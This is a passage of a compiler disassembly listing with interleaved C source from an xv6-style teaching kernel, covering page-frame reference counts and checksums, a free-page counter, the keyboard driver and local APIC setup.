ffff800000104401: 48 b9 40 71 11 00 00 movabs $0xffff800000117140,%rcx
ffff800000104408: 80 ff ff
ffff80000010440b: 48 c1 e0 04 shl $0x4,%rax
ffff80000010440f: 48 01 c8 add %rcx,%rax
ffff800000104412: 89 10 mov %edx,(%rax)
}
ffff800000104414: 90 nop
ffff800000104415: c9 leaveq
ffff800000104416: c3 retq
ffff800000104417 <krefcount>:
int
krefcount(char *v)
{
ffff800000104417: f3 0f 1e fa endbr64
ffff80000010441b: 55 push %rbp
ffff80000010441c: 48 89 e5 mov %rsp,%rbp
ffff80000010441f: 48 83 ec 08 sub $0x8,%rsp
ffff800000104423: 48 89 7d f8 mov %rdi,-0x8(%rbp)
return frameinfo[PGINDEX(V2P(v))].refs;
ffff800000104427: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010442b: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff800000104432: 80 00 00
ffff800000104435: 48 01 d0 add %rdx,%rax
ffff800000104438: 48 c1 e8 0c shr $0xc,%rax
ffff80000010443c: 48 ba 40 71 11 00 00 movabs $0xffff800000117140,%rdx
ffff800000104443: 80 ff ff
ffff800000104446: 48 c1 e0 04 shl $0x4,%rax
ffff80000010444a: 48 01 d0 add %rdx,%rax
ffff80000010444d: 8b 00 mov (%rax),%eax
}
ffff80000010444f: c9 leaveq
ffff800000104450: c3 retq
ffff800000104451 <update_checksum>:
void
update_checksum(addr_t frame)
{
ffff800000104451: f3 0f 1e fa endbr64
ffff800000104455: 55 push %rbp
ffff800000104456: 48 89 e5 mov %rsp,%rbp
ffff800000104459: 48 83 ec 28 sub $0x28,%rsp
ffff80000010445d: 48 89 7d d8 mov %rdi,-0x28(%rbp)
struct frameinfo *f = &frameinfo[PGINDEX(frame)];
ffff800000104461: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000104465: 48 c1 e8 0c shr $0xc,%rax
ffff800000104469: 48 c1 e0 04 shl $0x4,%rax
ffff80000010446d: 48 89 c2 mov %rax,%rdx
ffff800000104470: 48 b8 40 71 11 00 00 movabs $0xffff800000117140,%rax
ffff800000104477: 80 ff ff
ffff80000010447a: 48 01 d0 add %rdx,%rax
ffff80000010447d: 48 89 45 f0 mov %rax,-0x10(%rbp)
f->checksum = 0;
ffff800000104481: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000104485: 48 c7 40 08 00 00 00 movq $0x0,0x8(%rax)
ffff80000010448c: 00
addr_t *v = P2V(frame);
ffff80000010448d: 48 ba 00 00 00 00 00 movabs $0xffff800000000000,%rdx
ffff800000104494: 80 ff ff
ffff800000104497: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010449b: 48 01 d0 add %rdx,%rax
ffff80000010449e: 48 89 45 e8 mov %rax,-0x18(%rbp)
for (addr_t *i=v; i<v+PGSIZE/8; i++)
ffff8000001044a2: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001044a6: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff8000001044aa: eb 1f jmp ffff8000001044cb <update_checksum+0x7a>
f->checksum+=*i;
ffff8000001044ac: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001044b0: 48 8b 50 08 mov 0x8(%rax),%rdx
ffff8000001044b4: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001044b8: 48 8b 00 mov (%rax),%rax
ffff8000001044bb: 48 01 c2 add %rax,%rdx
ffff8000001044be: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001044c2: 48 89 50 08 mov %rdx,0x8(%rax)
for (addr_t *i=v; i<v+PGSIZE/8; i++)
ffff8000001044c6: 48 83 45 f8 08 addq $0x8,-0x8(%rbp)
ffff8000001044cb: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001044cf: 48 05 00 10 00 00 add $0x1000,%rax
ffff8000001044d5: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff8000001044d9: 72 d1 jb ffff8000001044ac <update_checksum+0x5b>
}
ffff8000001044db: 90 nop
ffff8000001044dc: 90 nop
ffff8000001044dd: c9 leaveq
ffff8000001044de: c3 retq
ffff8000001044df <frames_are_identical>:
// this should only be called after all checksums have been updated
int
frames_are_identical(addr_t frame1, addr_t frame2)
{
ffff8000001044df: f3 0f 1e fa endbr64
ffff8000001044e3: 55 push %rbp
ffff8000001044e4: 48 89 e5 mov %rsp,%rbp
ffff8000001044e7: 48 83 ec 10 sub $0x10,%rsp
ffff8000001044eb: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff8000001044ef: 48 89 75 f0 mov %rsi,-0x10(%rbp)
return frameinfo[PGINDEX(frame1)].checksum == frameinfo[PGINDEX(frame2)].checksum &&
ffff8000001044f3: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001044f7: 48 c1 e8 0c shr $0xc,%rax
ffff8000001044fb: 48 ba 40 71 11 00 00 movabs $0xffff800000117140,%rdx
ffff800000104502: 80 ff ff
ffff800000104505: 48 c1 e0 04 shl $0x4,%rax
ffff800000104509: 48 01 d0 add %rdx,%rax
ffff80000010450c: 48 83 c0 08 add $0x8,%rax
ffff800000104510: 48 8b 10 mov (%rax),%rdx
ffff800000104513: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000104517: 48 c1 e8 0c shr $0xc,%rax
ffff80000010451b: 48 b9 40 71 11 00 00 movabs $0xffff800000117140,%rcx
ffff800000104522: 80 ff ff
ffff800000104525: 48 c1 e0 04 shl $0x4,%rax
ffff800000104529: 48 01 c8 add %rcx,%rax
ffff80000010452c: 48 83 c0 08 add $0x8,%rax
ffff800000104530: 48 8b 00 mov (%rax),%rax
ffff800000104533: 48 39 c2 cmp %rax,%rdx
ffff800000104536: 75 47 jne ffff80000010457f <frames_are_identical+0xa0>
memcmp(P2V(frame1),P2V(frame2),PGSIZE)==0;
ffff800000104538: 48 ba 00 00 00 00 00 movabs $0xffff800000000000,%rdx
ffff80000010453f: 80 ff ff
ffff800000104542: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000104546: 48 01 d0 add %rdx,%rax
ffff800000104549: 48 89 c1 mov %rax,%rcx
ffff80000010454c: 48 ba 00 00 00 00 00 movabs $0xffff800000000000,%rdx
ffff800000104553: 80 ff ff
ffff800000104556: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010455a: 48 01 d0 add %rdx,%rax
ffff80000010455d: ba 00 10 00 00 mov $0x1000,%edx
ffff800000104562: 48 89 ce mov %rcx,%rsi
ffff800000104565: 48 89 c7 mov %rax,%rdi
ffff800000104568: 48 b8 9d 7c 10 00 00 movabs $0xffff800000107c9d,%rax
ffff80000010456f: 80 ff ff
ffff800000104572: ff d0 callq *%rax
return frameinfo[PGINDEX(frame1)].checksum == frameinfo[PGINDEX(frame2)].checksum &&
ffff800000104574: 85 c0 test %eax,%eax
ffff800000104576: 75 07 jne ffff80000010457f <frames_are_identical+0xa0>
ffff800000104578: b8 01 00 00 00 mov $0x1,%eax
ffff80000010457d: eb 05 jmp ffff800000104584 <frames_are_identical+0xa5>
ffff80000010457f: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000104584: c9 leaveq
ffff800000104585: c3 retq
ffff800000104586 <kfreepagecount>:
int
kfreepagecount()
{
ffff800000104586: f3 0f 1e fa endbr64
ffff80000010458a: 55 push %rbp
ffff80000010458b: 48 89 e5 mov %rsp,%rbp
ffff80000010458e: 48 83 ec 10 sub $0x10,%rsp
int i=0;
ffff800000104592: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
acquire(&kmem.lock);
ffff800000104599: 48 bf 40 71 1f 00 00 movabs $0xffff8000001f7140,%rdi
ffff8000001045a0: 80 ff ff
ffff8000001045a3: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001045aa: 80 ff ff
ffff8000001045ad: ff d0 callq *%rax
struct run *list = kmem.freelist;
ffff8000001045af: 48 b8 40 71 1f 00 00 movabs $0xffff8000001f7140,%rax
ffff8000001045b6: 80 ff ff
ffff8000001045b9: 48 8b 40 70 mov 0x70(%rax),%rax
ffff8000001045bd: 48 89 45 f0 mov %rax,-0x10(%rbp)
while(list) {
ffff8000001045c1: eb 0f jmp ffff8000001045d2 <kfreepagecount+0x4c>
i++;
ffff8000001045c3: 83 45 fc 01 addl $0x1,-0x4(%rbp)
list=list->next;
ffff8000001045c7: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001045cb: 48 8b 00 mov (%rax),%rax
ffff8000001045ce: 48 89 45 f0 mov %rax,-0x10(%rbp)
while(list) {
ffff8000001045d2: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff8000001045d7: 75 ea jne ffff8000001045c3 <kfreepagecount+0x3d>
}
release(&kmem.lock);
ffff8000001045d9: 48 bf 40 71 1f 00 00 movabs $0xffff8000001f7140,%rdi
ffff8000001045e0: 80 ff ff
ffff8000001045e3: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001045ea: 80 ff ff
ffff8000001045ed: ff d0 callq *%rax
return i;
ffff8000001045ef: 8b 45 fc mov -0x4(%rbp),%eax
}
ffff8000001045f2: c9 leaveq
ffff8000001045f3: c3 retq
ffff8000001045f4 <inb>:
{
ffff8000001045f4: f3 0f 1e fa endbr64
ffff8000001045f8: 55 push %rbp
ffff8000001045f9: 48 89 e5 mov %rsp,%rbp
ffff8000001045fc: 48 83 ec 18 sub $0x18,%rsp
ffff800000104600: 89 f8 mov %edi,%eax
ffff800000104602: 66 89 45 ec mov %ax,-0x14(%rbp)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
ffff800000104606: 0f b7 45 ec movzwl -0x14(%rbp),%eax
ffff80000010460a: 89 c2 mov %eax,%edx
ffff80000010460c: ec in (%dx),%al
ffff80000010460d: 88 45 ff mov %al,-0x1(%rbp)
return data;
ffff800000104610: 0f b6 45 ff movzbl -0x1(%rbp),%eax
}
ffff800000104614: c9 leaveq
ffff800000104615: c3 retq
ffff800000104616 <kbdgetc>:
#include "defs.h"
#include "kbd.h"
int
kbdgetc(void)
{
ffff800000104616: f3 0f 1e fa endbr64
ffff80000010461a: 55 push %rbp
ffff80000010461b: 48 89 e5 mov %rsp,%rbp
ffff80000010461e: 48 83 ec 10 sub $0x10,%rsp
static uchar *charcode[4] = {
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
ffff800000104622: bf 64 00 00 00 mov $0x64,%edi
ffff800000104627: 48 b8 f4 45 10 00 00 movabs $0xffff8000001045f4,%rax
ffff80000010462e: 80 ff ff
ffff800000104631: ff d0 callq *%rax
ffff800000104633: 0f b6 c0 movzbl %al,%eax
ffff800000104636: 89 45 f4 mov %eax,-0xc(%rbp)
if((st & KBS_DIB) == 0)
ffff800000104639: 8b 45 f4 mov -0xc(%rbp),%eax
ffff80000010463c: 83 e0 01 and $0x1,%eax
ffff80000010463f: 85 c0 test %eax,%eax
ffff800000104641: 75 0a jne ffff80000010464d <kbdgetc+0x37>
return -1;
ffff800000104643: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000104648: e9 ae 01 00 00 jmpq ffff8000001047fb <kbdgetc+0x1e5>
data = inb(KBDATAP);
ffff80000010464d: bf 60 00 00 00 mov $0x60,%edi
ffff800000104652: 48 b8 f4 45 10 00 00 movabs $0xffff8000001045f4,%rax
ffff800000104659: 80 ff ff
ffff80000010465c: ff d0 callq *%rax
ffff80000010465e: 0f b6 c0 movzbl %al,%eax
ffff800000104661: 89 45 fc mov %eax,-0x4(%rbp)
if(data == 0xE0){
ffff800000104664: 81 7d fc e0 00 00 00 cmpl $0xe0,-0x4(%rbp)
ffff80000010466b: 75 27 jne ffff800000104694 <kbdgetc+0x7e>
shift |= E0ESC;
ffff80000010466d: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff800000104674: 80 ff ff
ffff800000104677: 8b 00 mov (%rax),%eax
ffff800000104679: 83 c8 40 or $0x40,%eax
ffff80000010467c: 89 c2 mov %eax,%edx
ffff80000010467e: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff800000104685: 80 ff ff
ffff800000104688: 89 10 mov %edx,(%rax)
return 0;
ffff80000010468a: b8 00 00 00 00 mov $0x0,%eax
ffff80000010468f: e9 67 01 00 00 jmpq ffff8000001047fb <kbdgetc+0x1e5>
} else if(data & 0x80){
ffff800000104694: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000104697: 25 80 00 00 00 and $0x80,%eax
ffff80000010469c: 85 c0 test %eax,%eax
ffff80000010469e: 74 60 je ffff800000104700 <kbdgetc+0xea>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
ffff8000001046a0: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff8000001046a7: 80 ff ff
ffff8000001046aa: 8b 00 mov (%rax),%eax
ffff8000001046ac: 83 e0 40 and $0x40,%eax
ffff8000001046af: 85 c0 test %eax,%eax
ffff8000001046b1: 75 08 jne ffff8000001046bb <kbdgetc+0xa5>
ffff8000001046b3: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001046b6: 83 e0 7f and $0x7f,%eax
ffff8000001046b9: eb 03 jmp ffff8000001046be <kbdgetc+0xa8>
ffff8000001046bb: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001046be: 89 45 fc mov %eax,-0x4(%rbp)
shift &= ~(shiftcode[data] | E0ESC);
ffff8000001046c1: 48 ba 20 d0 10 00 00 movabs $0xffff80000010d020,%rdx
ffff8000001046c8: 80 ff ff
ffff8000001046cb: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001046ce: 0f b6 04 02 movzbl (%rdx,%rax,1),%eax
ffff8000001046d2: 83 c8 40 or $0x40,%eax
ffff8000001046d5: 0f b6 c0 movzbl %al,%eax
ffff8000001046d8: f7 d0 not %eax
ffff8000001046da: 89 c2 mov %eax,%edx
ffff8000001046dc: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff8000001046e3: 80 ff ff
ffff8000001046e6: 8b 00 mov (%rax),%eax
ffff8000001046e8: 21 c2 and %eax,%edx
ffff8000001046ea: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff8000001046f1: 80 ff ff
ffff8000001046f4: 89 10 mov %edx,(%rax)
return 0;
ffff8000001046f6: b8 00 00 00 00 mov $0x0,%eax
ffff8000001046fb: e9 fb 00 00 00 jmpq ffff8000001047fb <kbdgetc+0x1e5>
} else if(shift & E0ESC){
ffff800000104700: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff800000104707: 80 ff ff
ffff80000010470a: 8b 00 mov (%rax),%eax
ffff80000010470c: 83 e0 40 and $0x40,%eax
ffff80000010470f: 85 c0 test %eax,%eax
ffff800000104711: 74 24 je ffff800000104737 <kbdgetc+0x121>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
ffff800000104713: 81 4d fc 80 00 00 00 orl $0x80,-0x4(%rbp)
shift &= ~E0ESC;
ffff80000010471a: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff800000104721: 80 ff ff
ffff800000104724: 8b 00 mov (%rax),%eax
ffff800000104726: 83 e0 bf and $0xffffffbf,%eax
ffff800000104729: 89 c2 mov %eax,%edx
ffff80000010472b: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff800000104732: 80 ff ff
ffff800000104735: 89 10 mov %edx,(%rax)
}
shift |= shiftcode[data];
ffff800000104737: 48 ba 20 d0 10 00 00 movabs $0xffff80000010d020,%rdx
ffff80000010473e: 80 ff ff
ffff800000104741: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000104744: 0f b6 04 02 movzbl (%rdx,%rax,1),%eax
ffff800000104748: 0f b6 d0 movzbl %al,%edx
ffff80000010474b: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff800000104752: 80 ff ff
ffff800000104755: 8b 00 mov (%rax),%eax
ffff800000104757: 09 c2 or %eax,%edx
ffff800000104759: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff800000104760: 80 ff ff
ffff800000104763: 89 10 mov %edx,(%rax)
shift ^= togglecode[data];
ffff800000104765: 48 ba 20 d1 10 00 00 movabs $0xffff80000010d120,%rdx
ffff80000010476c: 80 ff ff
ffff80000010476f: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000104772: 0f b6 04 02 movzbl (%rdx,%rax,1),%eax
ffff800000104776: 0f b6 d0 movzbl %al,%edx
ffff800000104779: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff800000104780: 80 ff ff
ffff800000104783: 8b 00 mov (%rax),%eax
ffff800000104785: 31 c2 xor %eax,%edx
ffff800000104787: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff80000010478e: 80 ff ff
ffff800000104791: 89 10 mov %edx,(%rax)
c = charcode[shift & (CTL | SHIFT)][data];
ffff800000104793: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff80000010479a: 80 ff ff
ffff80000010479d: 8b 00 mov (%rax),%eax
ffff80000010479f: 83 e0 03 and $0x3,%eax
ffff8000001047a2: 89 c2 mov %eax,%edx
ffff8000001047a4: 48 b8 20 d5 10 00 00 movabs $0xffff80000010d520,%rax
ffff8000001047ab: 80 ff ff
ffff8000001047ae: 89 d2 mov %edx,%edx
ffff8000001047b0: 48 8b 14 d0 mov (%rax,%rdx,8),%rdx
ffff8000001047b4: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001047b7: 48 01 d0 add %rdx,%rax
ffff8000001047ba: 0f b6 00 movzbl (%rax),%eax
ffff8000001047bd: 0f b6 c0 movzbl %al,%eax
ffff8000001047c0: 89 45 f8 mov %eax,-0x8(%rbp)
if(shift & CAPSLOCK){
ffff8000001047c3: 48 b8 b8 71 1f 00 00 movabs $0xffff8000001f71b8,%rax
ffff8000001047ca: 80 ff ff
ffff8000001047cd: 8b 00 mov (%rax),%eax
ffff8000001047cf: 83 e0 08 and $0x8,%eax
ffff8000001047d2: 85 c0 test %eax,%eax
ffff8000001047d4: 74 22 je ffff8000001047f8 <kbdgetc+0x1e2>
if('a' <= c && c <= 'z')
ffff8000001047d6: 83 7d f8 60 cmpl $0x60,-0x8(%rbp)
ffff8000001047da: 76 0c jbe ffff8000001047e8 <kbdgetc+0x1d2>
ffff8000001047dc: 83 7d f8 7a cmpl $0x7a,-0x8(%rbp)
ffff8000001047e0: 77 06 ja ffff8000001047e8 <kbdgetc+0x1d2>
c += 'A' - 'a';
ffff8000001047e2: 83 6d f8 20 subl $0x20,-0x8(%rbp)
ffff8000001047e6: eb 10 jmp ffff8000001047f8 <kbdgetc+0x1e2>
else if('A' <= c && c <= 'Z')
ffff8000001047e8: 83 7d f8 40 cmpl $0x40,-0x8(%rbp)
ffff8000001047ec: 76 0a jbe ffff8000001047f8 <kbdgetc+0x1e2>
ffff8000001047ee: 83 7d f8 5a cmpl $0x5a,-0x8(%rbp)
ffff8000001047f2: 77 04 ja ffff8000001047f8 <kbdgetc+0x1e2>
c += 'a' - 'A';
ffff8000001047f4: 83 45 f8 20 addl $0x20,-0x8(%rbp)
}
return c;
ffff8000001047f8: 8b 45 f8 mov -0x8(%rbp),%eax
}
ffff8000001047fb: c9 leaveq
ffff8000001047fc: c3 retq
ffff8000001047fd <kbdintr>:
void
kbdintr(void)
{
ffff8000001047fd: f3 0f 1e fa endbr64
ffff800000104801: 55 push %rbp
ffff800000104802: 48 89 e5 mov %rsp,%rbp
consoleintr(kbdgetc);
ffff800000104805: 48 bf 16 46 10 00 00 movabs $0xffff800000104616,%rdi
ffff80000010480c: 80 ff ff
ffff80000010480f: 48 b8 83 0f 10 00 00 movabs $0xffff800000100f83,%rax
ffff800000104816: 80 ff ff
ffff800000104819: ff d0 callq *%rax
}
ffff80000010481b: 90 nop
ffff80000010481c: 5d pop %rbp
ffff80000010481d: c3 retq
ffff80000010481e <inb>:
{
ffff80000010481e: f3 0f 1e fa endbr64
ffff800000104822: 55 push %rbp
ffff800000104823: 48 89 e5 mov %rsp,%rbp
ffff800000104826: 48 83 ec 18 sub $0x18,%rsp
ffff80000010482a: 89 f8 mov %edi,%eax
ffff80000010482c: 66 89 45 ec mov %ax,-0x14(%rbp)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
ffff800000104830: 0f b7 45 ec movzwl -0x14(%rbp),%eax
ffff800000104834: 89 c2 mov %eax,%edx
ffff800000104836: ec in (%dx),%al
ffff800000104837: 88 45 ff mov %al,-0x1(%rbp)
return data;
ffff80000010483a: 0f b6 45 ff movzbl -0x1(%rbp),%eax
}
ffff80000010483e: c9 leaveq
ffff80000010483f: c3 retq
ffff800000104840 <outb>:
{
ffff800000104840: f3 0f 1e fa endbr64
ffff800000104844: 55 push %rbp
ffff800000104845: 48 89 e5 mov %rsp,%rbp
ffff800000104848: 48 83 ec 08 sub $0x8,%rsp
ffff80000010484c: 89 f8 mov %edi,%eax
ffff80000010484e: 89 f2 mov %esi,%edx
ffff800000104850: 66 89 45 fc mov %ax,-0x4(%rbp)
ffff800000104854: 89 d0 mov %edx,%eax
ffff800000104856: 88 45 f8 mov %al,-0x8(%rbp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
ffff800000104859: 0f b6 45 f8 movzbl -0x8(%rbp),%eax
ffff80000010485d: 0f b7 55 fc movzwl -0x4(%rbp),%edx
ffff800000104861: ee out %al,(%dx)
}
ffff800000104862: 90 nop
ffff800000104863: c9 leaveq
ffff800000104864: c3 retq
ffff800000104865 <readeflags>:
{
ffff800000104865: f3 0f 1e fa endbr64
ffff800000104869: 55 push %rbp
ffff80000010486a: 48 89 e5 mov %rsp,%rbp
ffff80000010486d: 48 83 ec 10 sub $0x10,%rsp
asm volatile("pushf; pop %0" : "=r" (eflags));
ffff800000104871: 9c pushfq
ffff800000104872: 58 pop %rax
ffff800000104873: 48 89 45 f8 mov %rax,-0x8(%rbp)
return eflags;
ffff800000104877: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff80000010487b: c9 leaveq
ffff80000010487c: c3 retq
ffff80000010487d <lapicw>:
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
ffff80000010487d: f3 0f 1e fa endbr64
ffff800000104881: 55 push %rbp
ffff800000104882: 48 89 e5 mov %rsp,%rbp
ffff800000104885: 48 83 ec 08 sub $0x8,%rsp
ffff800000104889: 89 7d fc mov %edi,-0x4(%rbp)
ffff80000010488c: 89 75 f8 mov %esi,-0x8(%rbp)
lapic[index] = value;
ffff80000010488f: 48 b8 c0 71 1f 00 00 movabs $0xffff8000001f71c0,%rax
ffff800000104896: 80 ff ff
ffff800000104899: 48 8b 00 mov (%rax),%rax
ffff80000010489c: 8b 55 fc mov -0x4(%rbp),%edx
ffff80000010489f: 48 63 d2 movslq %edx,%rdx
ffff8000001048a2: 48 c1 e2 02 shl $0x2,%rdx
ffff8000001048a6: 48 01 c2 add %rax,%rdx
ffff8000001048a9: 8b 45 f8 mov -0x8(%rbp),%eax
ffff8000001048ac: 89 02 mov %eax,(%rdx)
lapic[ID]; // wait for write to finish, by reading
ffff8000001048ae: 48 b8 c0 71 1f 00 00 movabs $0xffff8000001f71c0,%rax
ffff8000001048b5: 80 ff ff
ffff8000001048b8: 48 8b 00 mov (%rax),%rax
ffff8000001048bb: 48 83 c0 20 add $0x20,%rax
ffff8000001048bf: 8b 00 mov (%rax),%eax
}
ffff8000001048c1: 90 nop
ffff8000001048c2: c9 leaveq
ffff8000001048c3: c3 retq
ffff8000001048c4 <lapicinit>:
void
lapicinit(void)
{
ffff8000001048c4: f3 0f 1e fa endbr64
ffff8000001048c8: 55 push %rbp
ffff8000001048c9: 48 89 e5 mov %rsp,%rbp
if(!lapic)
ffff8000001048cc: 48 b8 c0 71 1f 00 00 movabs $0xffff8000001f71c0,%rax
ffff8000001048d3: 80 ff ff
ffff8000001048d6: 48 8b 00 mov (%rax),%rax
ffff8000001048d9: 48 85 c0 test %rax,%rax
ffff8000001048dc: 0f 84 74 01 00 00 je ffff800000104a56 <lapicinit+0x192>
return;
// Enable local APIC; set spurious interrupt vector.
lapicw(SVR, ENABLE | (T_IRQ0 + IRQ_SPURIOUS));
ffff8000001048e2: be 3f 01 00 00 mov $0x13f,%esi
ffff8000001048e7: bf 3c 00 00 00 mov $0x3c,%edi
ffff8000001048ec: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff8000001048f3: 80 ff ff
ffff8000001048f6: ff d0 callq *%rax
// The timer repeatedly counts down at bus frequency
// from lapic[TICR] and then issues an interrupt.
// If xv6 cared more about precise timekeeping,
// TICR would be calibrated using an external time source.
lapicw(TDCR, X1);
ffff8000001048f8: be 0b 00 00 00 mov $0xb,%esi
ffff8000001048fd: bf f8 00 00 00 mov $0xf8,%edi
ffff800000104902: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104909: 80 ff ff
ffff80000010490c: ff d0 callq *%rax
lapicw(TIMER, PERIODIC | (T_IRQ0 + IRQ_TIMER));
ffff80000010490e: be 20 00 02 00 mov $0x20020,%esi
ffff800000104913: bf c8 00 00 00 mov $0xc8,%edi
ffff800000104918: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff80000010491f: 80 ff ff
ffff800000104922: ff d0 callq *%rax
lapicw(TICR, 10000000);
ffff800000104924: be 80 96 98 00 mov $0x989680,%esi
ffff800000104929: bf e0 00 00 00 mov $0xe0,%edi
ffff80000010492e: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104935: 80 ff ff
ffff800000104938: ff d0 callq *%rax
// Disable logical interrupt lines.
lapicw(LINT0, MASKED);
ffff80000010493a: be 00 00 01 00 mov $0x10000,%esi
ffff80000010493f: bf d4 00 00 00 mov $0xd4,%edi
ffff800000104944: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff80000010494b: 80 ff ff
ffff80000010494e: ff d0 callq *%rax
lapicw(LINT1, MASKED);
ffff800000104950: be 00 00 01 00 mov $0x10000,%esi
ffff800000104955: bf d8 00 00 00 mov $0xd8,%edi
ffff80000010495a: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104961: 80 ff ff
ffff800000104964: ff d0 callq *%rax
// Disable performance counter overflow interrupts
// on machines that provide that interrupt entry.
if(((lapic[VER]>>16) & 0xFF) >= 4)
ffff800000104966: 48 b8 c0 71 1f 00 00 movabs $0xffff8000001f71c0,%rax
ffff80000010496d: 80 ff ff
ffff800000104970: 48 8b 00 mov (%rax),%rax
ffff800000104973: 48 83 c0 30 add $0x30,%rax
ffff800000104977: 8b 00 mov (%rax),%eax
ffff800000104979: c1 e8 10 shr $0x10,%eax
ffff80000010497c: 25 fc 00 00 00 and $0xfc,%eax
ffff800000104981: 85 c0 test %eax,%eax
ffff800000104983: 74 16 je ffff80000010499b <lapicinit+0xd7>
lapicw(PCINT, MASKED);
ffff800000104985: be 00 00 01 00 mov $0x10000,%esi
ffff80000010498a: bf d0 00 00 00 mov $0xd0,%edi
ffff80000010498f: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104996: 80 ff ff
ffff800000104999: ff d0 callq *%rax
// Map error interrupt to IRQ_ERROR.
lapicw(ERROR, T_IRQ0 + IRQ_ERROR);
ffff80000010499b: be 33 00 00 00 mov $0x33,%esi
ffff8000001049a0: bf dc 00 00 00 mov $0xdc,%edi
ffff8000001049a5: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff8000001049ac: 80 ff ff
ffff8000001049af: ff d0 callq *%rax
// Clear error status register (requires back-to-back writes).
lapicw(ESR, 0);
ffff8000001049b1: be 00 00 00 00 mov $0x0,%esi
ffff8000001049b6: bf a0 00 00 00 mov $0xa0,%edi
ffff8000001049bb: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff8000001049c2: 80 ff ff
ffff8000001049c5: ff d0 callq *%rax
lapicw(ESR, 0);
ffff8000001049c7: be 00 00 00 00 mov $0x0,%esi
ffff8000001049cc: bf a0 00 00 00 mov $0xa0,%edi
ffff8000001049d1: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff8000001049d8: 80 ff ff
ffff8000001049db: ff d0 callq *%rax
// Ack any outstanding interrupts.
lapicw(EOI, 0);
ffff8000001049dd: be 00 00 00 00 mov $0x0,%esi
ffff8000001049e2: bf 2c 00 00 00 mov $0x2c,%edi
ffff8000001049e7: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff8000001049ee: 80 ff ff
ffff8000001049f1: ff d0 callq *%rax
// Send an Init Level De-Assert to synchronise arbitration ID's.
lapicw(ICRHI, 0);
ffff8000001049f3: be 00 00 00 00 mov $0x0,%esi
ffff8000001049f8: bf c4 00 00 00 mov $0xc4,%edi
ffff8000001049fd: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104a04: 80 ff ff
ffff800000104a07: ff d0 callq *%rax
lapicw(ICRLO, BCAST | INIT | LEVEL);
ffff800000104a09: be 00 85 08 00 mov $0x88500,%esi
ffff800000104a0e: bf c0 00 00 00 mov $0xc0,%edi
ffff800000104a13: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104a1a: 80 ff ff
ffff800000104a1d: ff d0 callq *%rax
while(lapic[ICRLO] & DELIVS)
ffff800000104a1f: 90 nop
ffff800000104a20: 48 b8 c0 71 1f 00 00 movabs $0xffff8000001f71c0,%rax
